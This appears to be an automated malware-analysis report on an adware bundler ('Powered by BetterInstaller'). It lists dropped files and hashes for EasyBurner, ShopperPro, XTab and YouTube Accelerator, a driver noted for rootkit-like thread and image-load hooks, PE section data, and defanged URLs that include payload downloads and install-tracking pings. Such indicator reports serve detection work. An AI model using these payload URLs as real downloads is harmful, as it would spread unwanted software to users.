e693f7072047a80adfc94dc2caf3c126	c:\Program Files (x86)\EasyBurner\Codecs\irVorbis.irc
341e98a3e35a582199c130192c5bc5b7	c:\Program Files (x86)\EasyBurner\Codecs\irWMA.irc
3ab55e626f46606477852216f0352578	c:\Program Files (x86)\EasyBurner\Codecs\libsndfile.dll
32f9cbe5d1f62f66fa9de2cbe39293d1	c:\Program Files (x86)\EasyBurner\EasyBurner.exe
54333e0e06a9803cfcd2ac36b56e769a	c:\Program Files (x86)\EasyBurner\cdrtools\cdda2wav.exe
19dc0059093010eaacc4d8a69fef9842	c:\Program Files (x86)\EasyBurner\cdrtools\cdrecord.exe
af9801d354c3aed2a14034d7da2a949c	c:\Program Files (x86)\EasyBurner\cdrtools\cygwin1.dll
e8cf6d8cf1591590091ca8115c7ea877	c:\Program Files (x86)\EasyBurner\cdrtools\readcd.exe
d77c80f3c322d1b07aa9249e98b0e6a1	c:\Program Files (x86)\EasyBurner\ckEffects.exe
f93c0c59ce4c2d2444aa01318ab3a3ee	c:\Program Files (x86)\EasyBurner\irShell.dll
820f56a836e462f8029b3431b859939a	c:\Program Files (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe
df0d9fe34e82f53dfe9ae7ca92f5b84a	c:\Program Files (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys
820f56a836e462f8029b3431b859939a	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
df0d9fe34e82f53dfe9ae7ca92f5b84a	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
3015a897c4fd25a6964546e110ac1e1b	c:\Program Files (x86)\ShopperPro\SPRemove.exe
31b341b0a23b2b44d66cd1fe27379b7a	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
9b233e679188bfc3345ddee4472ea3e5	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
1d6b0da8a2670ecb65c3bc01a2a7054d	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
6b52c085d761425a0868d2c68cd47baa	c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c	c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793	c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3	c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567	c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e	c:\Program Files (x86)\XTab\uninstall.exe
20cdc8c5752ddecd03e20b0cb2012de3	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
11c885554735b43e6ee90a1712e235a5	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
f31085e9d71a854141a7b7f8f482b0a8	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
0aadb4347842781b679463a39ddc041d	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
1be954fa9412364076084e3a5153f08f	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
374aecb3c099c158bb8ebd99a86918db	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
d0a905c4dbb627779c7395f63e4695e4	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
c79bb119a6beff66232d8df52d0c1669	c:\Program Files\Common Files\ShopperPro\spbia.exe
a30adff14e9220c2db6a55792e003641	c:\Program Files\Common Files\ShopperPro\spbici32.dll
4667cf99a034941b74a3e89983da3375	c:\Program Files\Common Files\ShopperPro\spbici64.dll
692eb34e68583c11e5984f786d0b5507	c:\Program Files\Common Files\ShopperPro\spbii32.exe
2062ecd705f3671bff5b43f0b8ffad9e	c:\Program Files\Common Files\ShopperPro\spbii64.exe
fc49f353b11fa5b580a56aaf487558b8	c:\Program Files\Common Files\ShopperPro\spbiu.exe
9e1cc7ac2474f6dbc4f7950b40f79098	c:\Program Files\Common Files\ShopperPro\spbiw.sys
31b341b0a23b2b44d66cd1fe27379b7a	c:\ProgramData\ShopperPro\ShopperPro.dll
1d6b0da8a2670ecb65c3bc01a2a7054d	c:\ProgramData\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
f31085e9d71a854141a7b7f8f482b0a8	c:\ProgramData\YTAHelper\YTAHelper.dll
1be954fa9412364076084e3a5153f08f	c:\ProgramData\YTAHelper\YTAHelper64.dll
31b341b0a23b2b44d66cd1fe27379b7a	c:\Users\All Users\ShopperPro\ShopperPro.dll
1d6b0da8a2670ecb65c3bc01a2a7054d	c:\Users\All Users\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
f31085e9d71a854141a7b7f8f482b0a8	c:\Users\All Users\YTAHelper\YTAHelper.dll
1be954fa9412364076084e3a5153f08f	c:\Users\All Users\YTAHelper\YTAHelper64.dll
a9f1ecb4159ecaf56bbe555f81374f25	c:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe
870d021ae4eed3bd77c8893f5e571179	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22162\DCytaiesmt_smtyc_setup.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_2041\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_2041\ins_postInst.exe
3663079f88569aa95a12dbc112a04289	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a
22d69e3006b1b94105e3aafa995d80e5	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe
0acca4a0607d98b6da89105549d2adb8	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp
17e44a31aa8bfa5a4dba029302709bd1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\78F8.tmp
f0c901abae3506a5ebedbbcc2cf894b1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_29087\ins_shopperpro.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_postInst.exe
142ae006ffa3a2ae4b952df36af65c8c	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
374aecb3c099c158bb8ebd99a86918db	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
07a47e39d92a5f5c7b7dc63716675441	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
d0a905c4dbb627779c7395f63e4695e4	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
01a3e528d2caa830c1b9276159c1a892	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\RegWrite.exe
0a1d8c442bf10ba569bc89cf7dfc3855	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
ac8f7611f353ca9803fad5ff81900678	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
9509bda8473649e594dfbb586025e4c0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsProcess.dll
8683e0490479293e0dd1faf2cf2e88d7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
2574fc24647259615ff9029659066657	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
4f9236be13917b89f7a03dea85f220fa	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe
d8ba5f4e6a1594d0e07c886dac0f5f8c	c:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe
a5bfd6a87161d5dfa81cb5c2c6d29488	c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
ecbcb87ae26ad096da8b02d7ee7eccf5	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\ARPPRODUCTICON.exe
ecbcb87ae26ad096da8b02d7ee7eccf5	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut402_117374C798904B8FAA94F6F5BB0F1151.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut4111_B9923C5ACA204943B2C2B90E2CE0771E.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut4121_559FB45329F144F986E67BE0FC74B959.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut41312_1731A9EE9C0746289A4E8E0C846C3503.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut4131_FFE36E03834F4130AABAE0CA500D3452.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut4141_0A5AF17F905D42EDA5C5E0092FE17BCD.exe
1ed702eccb6aea51956a78532f59f2bf	c:\Windows\Installer\{520C2939-555B-40BF-A91B-8B671AB560EB}\NewShortcut415_4CCAB7D458B24B15A0EC604BB989DE2E.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.9497	3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3608
7f6d030a23f210ff0f767468fe3edd48
15085ef3a04cc8da75e4e88c8e40360f
95d29a753a41d388af981f54013fa0e0
2140c12424d296d2f086d01968cff5a1
5d1f4d16a053d942db335e2c86539c13
b7f04de791f0f1174b6595f07c104868
9b2a2631e07de3ea563da5f894f4918c
514afa0ffed853b833f9ddd40c7fdf96
b92fbe6b91568d9eb47d9b0022ccc3d0
172b6f18513f091e62c3eb9ec68484c8
646480e133f1daf28dc85ae99759f2f4
a5e4339887081cfaf1653a7657acf073
549d4106a715807f31179fa4dd02a727
1270bc16fedc637d8ad078ee15e15107
b7c7e4c55a03baca5788d4cdf2869fc0
1dc72a410d67eb4d6166990e3e960606
0000d4dfa1f1d61271d6789616ff0882
f17e4556271f0a3cba61103303f4821b
ec448b672988eecfbe5db9b39dd113ea
554c710ad2da44edabf8a39e29b525fd
6c686b56afc8acb9c4f55d9126145dcb
2e25aa9a90cf814cceb990b3777b8df6
87a3d1f1f4decd60bc4fed779f16ab7e
be82581da15d62c0241c0aba0079ebc9
33e4c9846b62ef1d7988e58896f26870

URLs

URL	IP
hxxp://installer.betterinstaller.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d1hg3hnogsqyks.cloudfront.net/images/Tokyo/tokyoThreeWavesBG.jpg	54.230.200.125
hxxp://d1hg3hnogsqyks.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.200.125
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d1hg3hnogsqyks.cloudfront.net/affiliates/eula.html	54.230.200.125
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.202.161
hxxp://d2sfi55f1s20qk.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.200.20
hxxp://d1p2zvpeuweyai.cloudfront.net/affiliates/easyburnerit/easyBurner_logo48.png
hxxp://d1x8oi0nw94fx8.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.202.95
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d2sfi55f1s20qk.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.200.20
hxxp://d2sfi55f1s20qk.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.200.20
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.2635847020696706
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.042710851221484325
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.09634744334768447
hxxp://d32c8485dhfcya.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.203.169
hxxp://app.easy-burner.com/download.php?msorder=5&smsorder=0&campaign=14776&tracker=2200	178.33.88.174
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.9199674158321154
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.11024174429759087
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.49630224346636853
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.02998318422499119
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&0.2112035195602876
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=hXeqmv1IpemletMtAI4Nzd0cltsObsHAVb/Dms9RU7pAXdQqxJ1va3sc7hbJtTJHwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw4u3oGHN86wPQVtpqSKGA7U/Xst3NHAatxLLCQXXwGXzCAftlZERRx7H1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=hXeqmv1IpemletMtAI4Nzd0cltsObsHAVb/Dms9RU7pAXdQqxJ1va3sc7hbJtTJHwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw4u3oGHN86wMFedaS6HkvNpR90anDedSCUX3PRbKmecay2eGRx58JVeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=	54.230.202.140
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=hNMAVKhukrxAU1hGZSx JNeBem8A8fUI7OXLse4BafQHqUQ0J3/4E4mP8QwLOFKVGlbzzIWwF3t81FzBER/tsBB/SoLmDeveGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	54.230.200.130
hxxp://d1hg3hnogsqyks.cloudfront.net/install.ashx?e=c0XmKevqA0ndHJbbDm7BwIyp m/7a4PRWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw5rIwN71P9KYFvyok9r58R6b87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8X/Ids2k5atVsyKOAeffYe9Vu8F6/WpR4RSC BdF H7Hs7aVvLYdzYdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE=	54.230.200.125
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.3911754837452987
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1NMG9E/tRz/bjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LvORJfZ9vmoi1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/g==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCn6YLYg8vr7 xHF95KOCt7DNmmGug8UNyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4=	54.230.202.140
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe	54.230.202.11
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMD2EmqgkTvADzP/J5k34FsIKYX3Ti/i3YNpW1wvQ8waSPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLJbqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPeAcfYBe5Vmlg=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcslupN3h8/NygfdnbXZjxfNH4ciUijsd9LwmM40gOiU94Bx9gF7lWaWA==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/25361.ashx?e=XOxRKBm2zlxPNjxRBLtb45Ki8tOqjR6O/WD6e6SZIIExLHUkaU066zsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9G iVxYuINcnwfLjND8q4AodY8ZBoGWN4YCLPcTjWhhw333RAvM0VMB88DdDMga8mrWmGAELYqXxs IILilpWF3eKoFLcIqulD17xyvkOFFgauMruqXrG8EE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvyTyZsHBj6T3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70D82t84QhMzI=	54.230.202.140
